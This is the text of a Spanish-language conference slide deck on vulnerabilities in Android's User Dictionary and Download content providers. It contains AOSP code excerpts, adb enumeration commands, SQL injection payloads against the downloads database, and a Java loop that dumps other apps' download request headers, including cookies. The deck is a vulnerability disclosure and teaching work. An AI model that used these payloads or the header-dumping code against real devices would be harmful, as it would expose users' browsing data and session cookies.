Beruflich Dokumente
Kultur Dokumente
Daniel Kachakil
RootedCON X (30/03/2019)
Daniel Kachakil
• Ingeniero en Informática
• Máster en Dirección y Gestión de Sistemas de Información
• Participante en CTFs y Miembro de int3pids
• Consultor de Seguridad Senior en
@Kachakil
2
Content Providers
Content Providers
APP2
DB FILES
4
Content Providers (Introducción)
MyClass extends ContentProvider
• query()
• insert()
• update()
• delete()
• ...
AndroidManifest.xml
<manifest ... >
<application ... >
<provider android:name="ExampleProvider"
android:authorities="com.example.app.provider"
android:exported="true" ... />
</application>
</manifest>
5
Content Providers (Implementación)
public class ExampleProvider extends ContentProvider {
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
static {
uriMatcher.addURI("com.example.app.provider", "table3", 1);
uriMatcher.addURI("com.example.app.provider", "table3/#", 2);
}
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
...
switch (uriMatcher.match(uri)) {
case 1:
if (TextUtils.isEmpty(sortOrder)) sortOrder = "_ID ASC";
break;
case 2:
selection = selection + "_ID = " + uri.getLastPathSegment();
break;
default:
...
}
}
...
6
Content Providers (Ejemplos de uso)
Query:
getContentResolver().query("content://com.example.app.provider/table3", null, null, null, null);
projection "c1, c2"
selection "c3=? AND c4=?"
Update: selectionArgs ["v3", "v4"]
sortOrder "c5 ASC"
ContentValues values = new ContentValues();
values.put(UserDictionary.Words.WORD, "test");
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values, null, null);
Delete:
getContentResolver().delete(UserDictionary.Words.CONTENT_URI, null, null);
ADB:
adb shell content query --uri content://com.example.app.provider/table3/1234
7
Content Providers (Repositorios)
https://android.googlesource.com/
platform/packages/providers/UserDictionaryProvider/
platform/packages/providers/DownloadProvider/
https://github.com/aosp-mirror/
platform_packages_providers_downloadprovider
8
User Dictionary Content
Provider
User Dictionary Content Provider
https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/
10
User Dictionary Content Provider (Update)
public int update(Uri uri, ContentValues values, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.update(USERDICT_TABLE_NAME, values, where, whereArgs);
break;
case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.update(USERDICT_TABLE_NAME, values, Words._ID + "=" + wordId +
(!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}
getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}
11
User Dictionary Content Provider (Delete)
public int delete(Uri uri, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.delete(USERDICT_TABLE_NAME, where, whereArgs);
break;
case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.delete(USERDICT_TABLE_NAME, Words._ID + "=" + wordId +
(!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}
getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}
12
User Dictionary Content Provider (Manifest)
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.providers.userdictionary"
android:sharedUserId="android.uid.shared">
<application android:process="android.process.acore"
android:label="@string/app_label"
android:allowClearUserData="false"
android:backupAgent="DictionaryBackupAgent"
android:killAfterRestore="false"
android:usesCleartextTraffic="false">
<provider android:name="UserDictionaryProvider"
android:authorities="user_dictionary"
android:syncable="false"
android:multiprocess="false"
android:exported="true" />
</application>
</manifest>
13
Download Provider
Download Provider
15
Download Provider
+----------------------+ +--------------------------------------+ +-------------+
| | | | | |
| Download Manager | | Browser / Gmail / Market / Updater | | Viewer App |
| | | | | |
+----------------------+ +--------------------------------------+ +-------------+
^ | ^ ^ ^
| | | | |
| | | | |
| | | +---------------------------+ | |
| | | | | | |
| | | | | | |
| | +-------- - - - - - - - - - - - - ------------+ |
| | | | |
| | | | |
| +------------- - - - - - - - - - - - - -----------------------------+
| | |
| | |
+--------------->| Android framework |
| |
| |
+---------------------------+
https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/refs/heads/master/docs/index.html
16
Download Provider
Application Download Manager Viewer App
| | |
| initiate download | |
|------------------------------------>| |
|<------------------------------------| |
| content provider URI | |
| | |
| query download | |
|------------------------------------>| |
|<------------------------------------| |
| Cursor | |
| | |
| register ContentObserver | |
|------------------------------------>| |
| | |
| ContentObserver notification | |
|<------------------------------------| |
| | |
| intent "notification clicked" | |
|<------------------------------------| |
| | |
| intent "download complete" | |
|<------------------------------------| |
| | intent "view" |
| |------------------------------------>|
| update download | |
|------------------------------------>| |
| | |
| open downloaded file | |
|------------------------------------>| |
|<------------------------------------| |
| ParcelFileDescriptor | |
| | |
| delete download | |
|------------------------------------>| |
| | |
v v v
17
Downloads.db
• downloads
• request_headers
• android_metadata
• sqlite_sequence
18
Downloads.db (Downloads)
Column Value
_id 4
uri https://ioactive.com/wp-content/uploads/2018/05/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
method 0
hint file:///storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
_data /storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
mimetype application/pdf
destination 4
visibility 0
status 200
numfailed 0
lastmod 1530272171999
notificationpackage com.android.browser
total_bytes 2373708
current_bytes 2373708
etag "5c48eb6d3e48a5e09e97ababab3e3777"
uid 10016
title SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
description ioactive.com
scanned 1
is_public_api 1
allow_roaming 1
allowed_network_types -1
is_visible_in_downloads_ui 1
bypass_recommended_size_limit 0
mediaprovider_uri content://media/external/file/22
Deleted 0
allow_metered 1
allow_write 0 19
Downloads.db (Request_Headers)
id download_id header value
1 4 Referer https://example.com/test
Mozilla/5.0 (Linux; Android 5.1.1; Android SDK built for x86_64 Build/LMY48X) AppleWebKit/537.36
2 4 User-Agent
(KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36
_gat_gtag_UA_10120511_1=1; euCookie=set; _ga=GA1.2.202646387.1530272140;
3 4 cookie _gid=GA1.2.989735187.1530272140; wp34793=WXACWDDDDDDBXYUYMVV-WWXC-XIYV-CHHM-
TUUTKZILKIVVDHBHVILHB-XYMX-XWUZ-HHTC-UWHXZBTMKHXXDphHJmpOL_Jht
20
Download Provider (Manifest)
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">
<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />
<!-- Apps with access to /all_downloads/... can grant permissions, allowing them to share
downloaded files with other viewers -->
<grant-uri-permission android:pathPrefix="/all_downloads/" />
<!-- Apps with access to /my_downloads/... can grant permissions, allowing them to share
downloaded files with other viewers -->
<grant-uri-permission android:pathPrefix="/my_downloads/" />
</provider>
21
Download Content Provider (UriMatcher)
/** URI matcher used to recognize URIs sent by applications */
private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);
/** URI matcher constant for the URI of all downloads belonging to the calling UID */
private static final int MY_DOWNLOADS = 1;
/** URI matcher constant for the URI of an individual download belonging to the calling UID */
private static final int MY_DOWNLOADS_ID = 2;
/** URI matcher constant for the URI of all downloads in the system */
private static final int ALL_DOWNLOADS = 3;
/** URI matcher constant for the URI of a download's request headers */
private static final int REQUEST_HEADERS_URI = 5;
22
Download Content Provider (UriMatcher)
static {
sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS);
sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "my_downloads/#/" +
Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/" +
Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI);
23
Download Content Provider (UriMatcher)
static {
sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS);
sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI);
24
Download Content Provider (Query 1/3)
@Override
public Cursor query(final Uri uri, String[] projection, final String selection,
final String[] selectionArgs, final String sort) {
SQLiteDatabase db = mOpenHelper.getReadableDatabase();
if (match == REQUEST_HEADERS_URI) {
if (projection != null || selection != null || sort != null) {
throw new UnsupportedOperationException("Request header queries do not support "
+ "projections, selections or sorting");
}
return queryRequestHeaders(db, uri);
}
...
25
Download Content Provider (Query 2/3)
SqlSelection fullSelection = getWhereClause(uri, selection, selectionArgs, match);
if (shouldRestrictVisibility()) {
if (projection == null) {
projection = sAppReadableColumnsArray.clone();
} else {
// check the validity of the columns in projection
for (int i = 0; i < projection.length; ++i) {
if (!sAppReadableColumnsSet.contains(projection[i]) &&
!downloadManagerColumnsList.contains(projection[i])) {
throw new IllegalArgumentException(
"column " + projection[i] + " is not allowed in queries");
}
}
}
26
Download Content Provider (Query 3/3)
if (Constants.LOGVV) {
logVerboseQueryInfo(projection, selection, selectionArgs, sort, db);
}
if (ret != null) {
ret.setNotificationUri(getContext().getContentResolver(), uri);
if (Constants.LOGVV) {
Log.v(Constants.TAG, "created cursor " + ret + " on behalf of " + Binder.getCallingPid());
}
} else {
if (Constants.LOGV) {
Log.v(Constants.TAG, "query failed in downloads database");
}
}
return ret;
}
27
Download Content Provider (Methods)
private SqlSelection getWhereClause(final Uri uri, final String where, final String[] whereArgs, int uriMatch) {
SqlSelection selection = new SqlSelection();
selection.appendClause(where, whereArgs);
28
Permission "Bypass"
CVE-2018-9468
Public Downloads
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">
<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />
DownloadProvider.java
static {
...
sURIMatcher.addURI("downloads", "public_downloads/#", PUBLIC_DOWNLOAD_ID);
}
30
Public Downloads
adb shell content query --uri content://downloads/public_downloads/1
adb shell content query --uri content://downloads/public_downloads/2
adb shell content query --uri content://downloads/public_downloads/3
adb shell content query --uri content://downloads/public_downloads/4
adb shell content query --uri content://downloads/public_downloads/5
...
31
Exploit
32
Download Content Provider (OpenFile 1/2)
@Override
public ParcelFileDescriptor openFile(final Uri uri, String mode) throws FileNotFoundException {
if (Constants.LOGVV) {
logVerboseOpenFileInfo(uri, mode);
}
...
33
Download Content Provider (OpenFile 2/2)
...
34
SQL injection
CVE-2018-9493
Download Content Provider
@Override
public int update(final Uri uri, final ContentValues values, final String where, final String[] whereArgs) {
if (shouldRestrictVisibility()) {
Helpers.validateSelection(where, sAppReadableColumnsSet);
}
...
@Override
public int delete(final Uri uri, final String where, final String[] whereArgs) {
if (shouldRestrictVisibility()) {
Helpers.validateSelection(where, sAppReadableColumnsSet);
}
...
@Override
public Uri insert(final Uri uri, final ContentValues values) {
checkInsertPermissions(values);
...
36
Download Content Provider (Readable Columns)
private static final String[] sAppReadableColumnsArray = new String[] {
Downloads.Impl._ID,
Downloads.Impl.COLUMN_APP_DATA,
Downloads.Impl._DATA,
Downloads.Impl.COLUMN_MIME_TYPE,
Downloads.Impl.COLUMN_VISIBILITY,
Downloads.Impl.COLUMN_DESTINATION,
Downloads.Impl.COLUMN_CONTROL,
Downloads.Impl.COLUMN_STATUS,
Downloads.Impl.COLUMN_LAST_MODIFICATION,
Downloads.Impl.COLUMN_NOTIFICATION_PACKAGE,
Downloads.Impl.COLUMN_NOTIFICATION_CLASS,
Downloads.Impl.COLUMN_TOTAL_BYTES,
Downloads.Impl.COLUMN_CURRENT_BYTES,
Downloads.Impl.COLUMN_TITLE,
Downloads.Impl.COLUMN_DESCRIPTION,
Downloads.Impl.COLUMN_URI,
Downloads.Impl.COLUMN_IS_VISIBLE_IN_DOWNLOADS_UI,
Downloads.Impl.COLUMN_FILE_NAME_HINT,
Downloads.Impl.COLUMN_MEDIAPROVIDER_URI,
Downloads.Impl.COLUMN_DELETED,
OpenableColumns.DISPLAY_NAME,
OpenableColumns.SIZE,
};
37
Download Content Provider
adb pull /system/priv-app/DownloadProvider/DownloadProvider.apk .
38
Download Content Provider (ValidateSelection)
/**
* Checks whether this looks like a legitimate selection parameter
*/
public static void validateSelection(String selection, Set<String> allowedColumns) {
try {
if (selection == null || selection.isEmpty()) {
return;
}
Lexer lexer = new Lexer(selection, allowedColumns);
parseExpression(lexer);
if (lexer.currentToken() != Lexer.TOKEN_END) {
throw new IllegalArgumentException("syntax error");
}
} catch (RuntimeException ex) {
if (Constants.LOGV) {
Log.d(Constants.TAG, "invalid selection [" + selection + "] triggered " + ex);
} else if (false) {
Log.d(Constants.TAG, "invalid selection triggered " + ex);
}
throw ex;
}
}
39
Enable search for Downloads
https://android.googlesource.com/platform/packages/providers/
DownloadProvider/+/b759707b80987d0cb4ad2a3a78c11702a45a36c2
Change-Id: Ide23c822b97ccab29a341184f14698dc942e8e14
40
Enable search for Downloads
41
Enable search for Downloads
42
Enable search for Downloads (SQL injection)
adb shell content query --uri content://downloads/public_downloads/0
--where "('1'='1'))) ORDER BY lastmod DESC--"
43
Download Content Provider (SQL injection)
adb shell content query --uri content://downloads/public_downloads/0 ...
--where "1=1) OR (1=1"
--where "1=1) AND (SELECT header FROM request_headers WHERE _id=1) LIKE 'a%' OR (1=1"
44
SQLiteQueryBuilder.setStrict()
https://android.googlesource.com/platform/frameworks/base/+/
462aaeaa616e0bb1342e8ef7b472acc0cbc93deb
This sadly doesn't catch inputs of the type "1=1) OR (1=1", which
creates valid statements for both tests above, but the final executed
query ends up leaking data due to SQLite operator precedence.
45
Permission "Bypass"
(Headers)
CVE-2018-9543
Request Headers
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">
<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />
DownloadProvider.java
static {
...
sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "download/#/headers", REQUEST_HEADERS_URI);
}
47
Download Content Provider (QueryRequestHeaders)
/**
* Handle a query for the custom request headers registered for a download.
*/
private Cursor queryRequestHeaders(SQLiteDatabase db, Uri uri) {
String where = Downloads.Impl.RequestHeaders.COLUMN_DOWNLOAD_ID + "=" + getDownloadIdFromUri(uri);
48
"My" Downloads Headers
adb shell content query --uri content://downloads/my_downloads/1/headers
adb shell content query --uri content://downloads/my_downloads/2/headers
adb shell content query --uri content://downloads/my_downloads/3/headers
adb shell content query --uri content://downloads/my_downloads/4/headers
adb shell content query --uri content://downloads/my_downloads/5/headers
...
49
Download Headers (Exploit)
for (int id = 0; id <= 10000; id++) {
Uri uri = Uri.parse(MY_DOWNLOADS_URI + id + HEADERS_URI_SEGMENT);
Cursor cur = res.query(uri, null, null, null, null);
try {
if (cur != null && cur.getCount() > 0) {
StringBuilder sb = new StringBuilder(LOG_SEPARATOR);
sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("\n");
while (cur.moveToNext()) {
String rowHeader = cur.getString(cur.getColumnIndex("header"));
String rowValue = cur.getString(cur.getColumnIndex("value"));
sb.append(rowHeader).append(": ").append(rowValue).append("\n\n");
}
log(sb.toString());
}
} finally {
if (cur != null)
cur.close();
}
}
50
Conclusiones
Conclusiones
• Detectar fallos en el código que se ve es relativamente fácil
• Detectarlos en el código que no está (y debería estar), no es tan obvio
• No hay que tener miedo a proyectos grandes y en teoría muy revisados
52
Más información
Más información
• Blog post y vídeos demo:
• https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-
2018-9468-cve-2018-9493-cve-2018-9546/
• Informes técnicos (Advisories):
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-Permission-Bypass-CVE-2018-9468.pdf
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-SQL-Injection-CVE-2018-9493.pdf
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-Request-Headers-Disclosure-CVE-2018-9546.pdf
• Pruebas de concepto:
• https://github.com/IOActive/AOSP-DownloadProviderHijacker
• https://github.com/IOActive/AOSP-DownloadProviderDbDumper
• https://github.com/IOActive/AOSP-DownloadProviderHeadersDumper
54
¡Gracias!
Daniel Kachakil
https://github.com/ioactive
https://blog.ioactive.com